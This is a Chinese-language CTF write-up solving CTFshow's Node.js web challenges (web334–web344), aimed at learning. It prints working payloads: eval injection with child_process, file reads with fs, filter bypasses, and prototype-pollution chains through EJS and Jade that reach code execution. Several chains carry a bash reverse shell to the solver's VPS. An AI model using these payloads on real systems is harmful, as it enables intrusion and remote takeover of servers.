什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的开源、跨平台的 JavaScript 运行环境,主要用于在服务端运行JavaScript代码。以前JavaScript大多只能在浏览器中运行,有了 Node.js,开发者可以用 JavaScript 开发后端服务端应用,比如Web服务器、命令行工具等
核心特点如下:
- 采用 事件驱动、非阻塞式I/O模型,使其高效、轻量,特别适合处理高并发、I/O密集的网络应用
- 利用 V8 引擎,JavaScript 代码执行速度快、性能高
- 拥有全球最大的开源包管理生态系统—— npm,可便捷地安装和管理各种第三方模块和工具包
- 让前端开发者可以用同一种语言开发前后端,提高开发效率与协同
Node.js 不是一门新语言,也不是JavaScript的框架,更不是Web服务器;它就是一个能在服务器端运行JavaScript的平台,类似于Java的JVM在服务器上运行Java程序
题目列表
web334
下载题目附件进行分析,一共就两个文件
user.js
里面写了用户账号密码
然后login.js
是关于登录的一些逻辑校验,其中我们需要重点关注的是findUser
变量这里
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
要求名字不为CTFSHOW,但是后面有个toUpperCase()
函数,也就是输入的用户名会变大写,那只要输入小写的ctfshow
,经过toUpperCase()
变大写之后就通过验证了
打开题目环境,登录框输入
账号:ctfshow
密码:123456
成功拿到flag
web335
打开题目环境,查看网页源代码,可以看到有注释提示,可以拼接进网站访问
应该是eval()
函数,可以用child_process
来调用API执行系统命令
什么是child_process
child_process 是 Node.js 的一个核心模块,用于在应用程序中创建和管理子进程,让 JavaScript 能够在服务器端执行外部命令、脚本或者进行多进程并发运算
常用API
spawn()
:创建新进程,流方式处理数据,适合实时数据处理exec()
:执行命令或脚本,回调方式返回所有输出,适合一次性任务execFile()
:直接执行文件,减少命令注入风险fork()
:专门用于启动新的 Node.js 进程,并与主进程实现 IPC(进程间通信)execSync()
:同步执行命令,阻塞直到完成,返回结果,简洁直观spawnSync()
:同步版本的 spawn,阻塞等待子进程完成,返回详细进程信息
这题需要我们用require
包含child_process
模块来调用API执行命令
但是如果我们直接执行exec()
,会返回[object Object]
/?eval=require('child_process').exec('ls').toString()
这是因为exec()
是异步执行,通过回调函数传递输出与错误,直接调用的话会返回一个 ChildProcess
对象,正确的方法应像下面这样
const { exec } = require('child_process');
const cp = exec('ls', (err, stdout, stderr) => {
console.log(stdout); // 这里才是命令输出
});
而execSync()
则是同步执行,直接返回命令执行后的输出内容(Buffer 或 String),可以直接打印数据
所以我们用execSync()
来执行命令
payload:
/?eval=require('child_process').execSync('ls').toString()
成功得到flag
当然调用spawnSync()
也可以,不过直接打印的话它会返回一个包含多个属性的对象,需要用stdout输出Buffer,然后通过toString()
转换为字符串,调用格式为spawnSync(command, args)
。如果你把命令和参数写在同一个字符串里(如 'cat fl00g.txt'
),spawnSync
会当作单一命令去执行,导致找不到该命令或执行出错,因此需要拆开
payload:
/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
web336
这题跟上题差不多,但是调用execSync()
不行了
这里介绍两个变量,__filename
和__dirname
__filename:获取当前模块文件的完整绝对路径文件名
__dirname:获取当前文件所在目录的完整目录名
直接在网站拼接命令执行
/?eval=__filename
可以看到网站显示了当前文件的绝对路径/app/routes/index.js
我们用fs模块的readFileSync()
来读取文件,fs模块(File System 模块)是专门用于进行文件系统相关操作的
/?eval=require('fs').readFileSync('/app/routes/index.js').toString()
直接爆出源码
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', { title: 'tql' });
} else {
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;
可以看到过滤了包含 exec
或 load
的字符串,有很多种方法可以做这题
1. 字符串拼接绕过
把execSync
拆成 exe
+ cSync
,然后拼接字符串,%2B是加号
/?eval=require('child_process')['exe'%2B'cSync']('ls').toString()
然后读取flag即可
/?eval=require('child_process')['exe'%2B'cSync']('cat fl001g.txt').toString()
2. spawnSync() 命令执行
跟web335一样,换成spawnSync()
即可绕过
/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
3. readFileSync() 文件读取
先用readdirSync()
读取目录文件,然后用readFileSync()
读取文件内容即可
/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')
web337
题目给出了源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
其中重点需要关注的是
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
要求传入的a
和b
长度相同,内容不相同且要求 a
加上 flag
后的 MD5 哈希值,必须等于 b
加上 flag
后的 MD5 哈希值
这里我们用数组绕过
这里涉及到一个概念,如果传入a[]=1&b[]=2
,返回的是数组['1']
和['2']
,在md5校验那里就相当于需要['1']+flag===['2']+flag
,而由于JavaScript **隐式类型转换 + 字符串拼接 **的原因,['1']+flag
会变成1flag
,举个例子
console.log("1" + [2,2]);
// 步骤: [2,2] -> 调用 toString() => "2,2"
// 字符串拼接 => "1" + "2,2" => "12,2"
因此只要我们输入
a[]=1&b=1
a解析为数组['1']
,b解析为字符串'1'
,经过转换之后,得到的结果都是1flag
,因此它们的md5相同,成功通过验证
也是顺利拿到flag
还有一种方法,就是往数组里面传入非数字索引,例如
a[x]=1&b[x]=2
返回的结果是{ x: '1'}
和{ x: '2'}
,变成JS里面的对象了,传入对象之后,经过console.log
后返回的都是[object Object]
,此时进行变量拼接得到的结果为[object Object]flag
,再进行md5加密之后也是相同的
如果传入a[x]=1&b[x]=1
也是可以的,因为两个对象的比较并不是比较属性,而是通过引用内存里的位置来比较的,所以 a !== b
的条件依然成立
web338
下载源码分析,先看app.js
可以看到包含了index.js
和login.js
,index.js
里面没什么东西,主要看login.js
文件
想要拿到flag就必须要secert的ctfshow
属性值为36dboy
,且secert变量值为空。向下分析,可以看到body的内容被copy到了user里面,查看copy的定义,可以发现copy竟然跟merge方法一模一样,因此这题可以用原型链污染来做,传入属性__proto__
来污染Object原型
做原型链污染之前,建议先看一遍文章了解一下:深入理解 JavaScript Prototype 污染攻击
打开题目环境,随便输入账号密码
可以看到body的值传到了user里面,我们修改键值对为
{"__proto__":{"ctfshow":"36dboy"}}
这样做可以污染Object的原型,从而使得所有对象都继承了该属性,于是进行验证的时候,满足secert.ctfshow==='36dboy'
,也就拿到了flag
原型链被污染后,部分代码里其他依赖对象原型正常结构的地方会出错,依赖于纯净、标准原型链的对象操作(比如 for…in、Object.keys()、属性枚举和判断、库函数内部操作等)可能会出错或出现行为异常,导致POST访问/login
时报 500 错误
因此这题只有一次污染机会,如果写错了值的话就只能重新启动环境做了,因为POST访问/login
只返回500了
web339
打开源码分析,在app.js
可以看到指向三个路由
相比上一题,这题login.js
的校验条件变了
要求secert.ctfshow===flag
,但我们并不知道flag的值,因此只能另辟蹊径
继续分析api.js
,发现可以通过污染query来控制Function执行RCE操作
由于 Node.js 默认不会自动暴露 require
给 Function
创建的函数,因此这里用process.mainModule.constructor._load
替代 require
来包含child_process
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}
这里我们用exec执行反弹shell,因为exec是异步的,适用于长时间/交互式/不需要立即结果的任务(例如反弹 shell、启动后台进程、并发执行多任务)。这题的目标不是“读取输出”,而是“建立外部控制会话”,因此异步 exec 足以完成“执行命令”的动作,而且更贴合反连的使用场景:父进程不被阻塞,持续提供服务
先在VPS处开启nc
监听,然后跟上题一样,在/login
处传入payload
接着POST访问/api
即可建立连接
执行命令env
,在环境变量里成功找到flag
web340
下载源码进行分析,也是先看app.js
可以看到,还是这几个文件,不过不同的是,login.js
里面的user变量变了
要求isAdmin
为true才可以通过,但是isAdmin
已经被赋值为false了,因此在这里没办法污染
继续分析,可以看到api.js
跟上题一样,因此可以用上题的方法来污染query反弹shell
但是如果直接传入__proto__
,再访问/api
会发现行不通
需要污染两层才可以,因为user.__proto__
不是Object.prototype
,user.__proto.__proto__
才是
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}
也是在环境变量处找到flag
下面详细解释一下为什么user.__proto__
不是指向Object.prototype
,开启本地调试,先在web340项目文件夹处打开终端,运行 npm install
安装依赖
然后在项目文件夹处打开package.json,可以看到负责启动服务器的是bin/www
,因为在很多标准的Express项目中,项目结构是分离的
修改配置文件的工作目录为web340,文件为bin/www
在www
文件中,可以看到运行的端口是在3000
在login.js
的第19行开启断点调试,然后网页打开http://127.0.0.1:3000,在登录框随便输入点东西,触发if(user.userinfo.isAdmin){
判断
可以看到userinfo的__proto__
后__proto__
才是Object的prototype
,为了更直观,我们在控制台输出看看
对于user这个变量
var user = new function(){ //这是外层匿名构造函数
this.userinfo = new function(){ //这是内层匿名构造函数
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
user.userinfo
对象是由内层构造函数创建的,所以 user.userinfo.__proto__
指向内层构造函数的prototype
而内层构造函数的__proto__
指向的才是Object的prototype
所以这就是为什么要传入两次的原因
拓展概念
只有函数才拥有 prototype
属性,而由构造函数创建出来的普通对象实例没有这个属性
例如user.userinfo
是一个对象实例,但它没有属于自己的 prototype
属性,控制台输出为undefined
属性 | 谁拥有 | 作用 |
---|---|---|
prototype | 构造函数 | 定义实例继承的“蓝图” |
__proto__ | 任意对象实例(包括函数对象) | 一个指向其构造器的 prototype 的引用指针 |
web341
下载附件分析代码,发现这题没有api.js
了,而且login.js
也没有地方污染
继续分析代码,在app.js
可以看到包含了ejs,且引擎设置为ejs
网上搜了一下,发现ejs模板引擎有个漏洞可以利用,实现从原型链污染到RCE
参考文章:Express+lodash+ejs: 从原型链污染到RCE
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}
跟上题一样,也是在/login
里POST写入,然后刷新一次页面即可
在env
找到flag
web342
下载代码分析,总体跟上题代码差不多,但是app.js
这两个地方不同
模板引擎换成了jade,上网参考了部分文章,链接:再探 JavaScript 原型链污染到 RCE
payload:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}
跟上题一样,在/login
里POST写入,然后刷新一次页面
在env
找到flag
web343
这题在web342的基础上增加了过滤,但是影响不大,可以继续用上题的方法
payload:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}
在/login
里POST写入,然后刷新一次页面
在环境变量中读取flag
后面看了一下login.js
到底过滤了什么
只过滤了text
,没什么用
web344
这题给出了部分代码,先分析一下
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了8c、2c和逗号,然后要求GET传入参数query,且满足 query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true
才可以拿到flag
也就是正常情况下我们应该传入
?query={"name":"admin","password":"ctfshow","isVIP":true}
而经过URL编码之后变成
?query=%7B%22name%22%3A%22admin%22%2C%22password%22%3A%22ctfshow%22%2C%22isVIP%22%3Atrue%7D
双引号编码之后是%22
,和c连接起来就是%22c
,会被ban
这题用到了NodeJS的特性,当 URL 里传入了多个同名参数,如多次出现 query=
,Express 解析会将这些参数放入数组中,然后JSON.parse
会将数组的字符串元素拼接成一个完整字符串再解析。同时c
也要进行URL编码,变成%63
,这样就不会被ban了
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
参考
bfengj:CTFshow-WEB入门-node.js
yu22x:CTFSHOW nodejs篇